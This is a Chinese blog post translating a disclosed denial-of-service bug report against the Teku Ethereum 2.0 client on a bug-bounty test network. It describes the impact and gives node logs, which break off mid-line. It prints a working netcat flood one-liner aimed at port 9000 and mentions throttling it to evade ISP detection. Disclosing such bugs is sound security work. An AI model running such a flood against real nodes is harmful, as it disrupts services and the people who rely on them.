Ethereum DoS Attack on Teku Notes

本文详细记录了一次针对以太坊2.0客户端Teku的DoS攻击,描述了攻击场景、实施细节以及原理。攻击导致Teku节点内存消耗过大,无法参与共识,影响链的一致性。解决方案是改进节点对无效消息的处理,避免内存占用过多。
摘要由CSDN通过智能技术生成

Abstract

前些日子,以太坊2.0开放了attack-net攻击网环境。白帽子们在此链上对新版本的ETH进行众测。
7月27日,ETH官方确认了第一个漏洞。本文将该漏洞的issue翻译成中文。
发现该漏洞的白帽子为JonnyRhea

Description

该漏洞可导致Teku节点被DoS攻击,从而无法参与共识。

这里说的Teku 是attack-net中一条测试链的名字
同样是Attack-net测试链的还有 prysm、lighthouse

Attack scenario

  1. 这个DoS攻击将持续破坏链节点的一致性。
  2. 等到攻击停止后,需要手动修复,ETH才能恢复运行。
  3. 受害者节点的内存将被大量消耗。最终导致宿主机重启。
  4. 受害者节点的本地时钟会变慢。(had trouble staying connected to peers and one node's local clock was 20 mins slow.)

Details

How the attack was implemented

  • DoS攻击命令如下:
    while true; do cat /dev/zero | pv -L 1M |nc XXX.XXX.XXX.XXX 9000 >/dev/null; done
    其中XXX.XXX.XXX.XXX是被攻击节点地址。

上述命令,是以1M/s的速率向目标节点的9000端口发送垃圾数据。
虽说发送垃圾数据的速率是越高越好,但是由于实验环境部署在AWS服务器上,
为了避免DoS攻击被AWS-ISP发现,只能将每个攻击节点的数据发送速率限制在1M/s。

  • 当攻击启动时,界面如下:
    DoS攻击界面
    我们可以看到Ncat: Connection reset by peer,也就是说目标节点已经崩溃。

Attack log

Epoch 407, Slot 13038

在区块高度407,jrhea正在研究前文命令的参数(1M/s等(cy))会对节点造成怎样的影响。

jrhea(本文作者,编写漏洞报告)在实验中部署了5个节点来执行上述命令,发起DoS攻击。

14:49:44.309 INFO  - Epoch Event *** Epoch: 407, Justified checkpoint: 405, Finalized checkpoint: 404, Finalized root: 062423..e652
14:49:48.308 INFO  - Slot Event  *** Slot: 13024, Block: 615a62..0c80, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:00.308 INFO  - Slot Event  *** Slot: 13025, Block: 8a66bc..feaa, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:12.313 INFO  - Slot Event  *** Slot: 13026, Block: 6e35b1..ab31, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:24.312 INFO  - Slot Event  *** Slot: 13027, Block: bd188c..2c39, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:36.308 INFO  - Slot Event  *** Slot: 13028, Block: 1b0189..b486, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:48.308 INFO  - Slot Event  *** Slot: 13029, Block: 434b19..dc64, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:00.311 INFO  - Slot Event  *** Slot: 13030, Block: d092fa..b2d7, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:12.308 INFO  - Slot Event  *** Slot: 13031, Block: 9e7060..95b2, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:24.307 INFO  - Slot Event  *** Slot: 13032, Block: e57155..e417, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:36.312 INFO  - Slot Event  *** Slot: 13033, Block: 0ffe8c..e62f, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:48.386 INFO  - Slot Event  *** Slot: 13034, Block: 8c383d..7c25, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:00.439 INFO  - Slot Event  *** Slot: 13035, Block: fea7e4..b7fa, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:12.321 INFO  - Slot Event  *** Slot: 13036, Blo
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

可爱多多白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值